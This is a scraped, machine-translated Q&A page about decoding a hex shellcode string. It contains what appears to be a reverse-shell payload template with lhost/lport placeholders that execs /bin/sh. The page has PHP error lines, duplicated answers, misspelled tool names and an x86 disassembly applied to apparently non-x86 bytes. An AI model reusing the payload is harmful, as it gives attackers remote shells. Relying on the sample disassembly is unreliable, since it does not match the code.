Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/linux/26.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux 如何将外壳代码解码为ascii码_Linux_Decoding_Shellcode - Fatal编程技术网

Linux 如何将外壳代码解码为ascii码

Linux 如何将外壳代码解码为ascii码,linux,decoding,shellcode,Linux,Decoding,Shellcode,我有一些外壳代码,当我转换成ascii时,它不会输出文本,只是胡言乱语 \x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x

我有一些外壳代码,当我转换成ascii时,它不会输出文本,只是胡言乱语

\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c

我尝试了用相同的输出以多种方式对其进行解码,是否有其他方法对其进行解码?

您可以使用python one liner和
NDISSM
工具进行反汇编

例如,
python-c'print“\x24\x11\xff\xff\x24\x04\x27\x0f”| ndisam-u-

结果:

00000000  2411              and al,0x11
00000002  FF                db 0xff
00000003  FF2404            jmp [esp+eax]
00000006  27                daa
00000007  0F                db 0x0f
00000008  0A                db 0x0a

您可以使用python one liner和
ndisam
工具进行反汇编

例如,
python-c'print“\x24\x11\xff\xff\x24\x04\x27\x0f”| ndisam-u-

结果:

00000000  2411              and al,0x11
00000002  FF                db 0xff
00000003  FF2404            jmp [esp+eax]
00000006  27                daa
00000007  0F                db 0x0f
00000008  0A                db 0x0a

外壳代码
阐述你的意思;示例中有大量非ASCII数据(任何高于\x7f的数据);对于较低的值,只要您有一些字节值对应于字符串,就有
echo-e'\x43\x61\x74'
,这绝对有必要知道这些字节值的编码方式。如果没有编码,您所能做的就是尝试将字符串从一堆转换为目标编码。即使这样,您也需要记住,并非所有编码都是相等的-ASCII只有这么多的码点,其他编码有其他码点,以及从字节构造字符的其他方式,例如UTF-8等多字节编码。外壳代码包含机器指令,因此,作为ASCII进行解码肯定不起作用。你可能应该试试反汇编程序。我不知道有哪些工具能够做到这一点,但也许objdump可以帮助您详细说明使用
外壳代码的含义;示例中有大量非ASCII数据(任何高于\x7f的数据);对于较低的值,只要您有一些字节值对应于字符串,就有
echo-e'\x43\x61\x74'
,这绝对有必要知道这些字节值的编码方式。如果没有编码,您所能做的就是尝试将字符串从一堆转换为目标编码。即使这样,您也需要记住,并非所有编码都是相等的-ASCII只有这么多的码点,其他编码有其他码点,以及从字节构造字符的其他方式,例如UTF-8等多字节编码。外壳代码包含机器指令,因此,作为ASCII进行解码肯定不起作用。你可能应该试试反汇编程序。我不知道有什么工具可以做到这一点,但也许objdump可以帮助您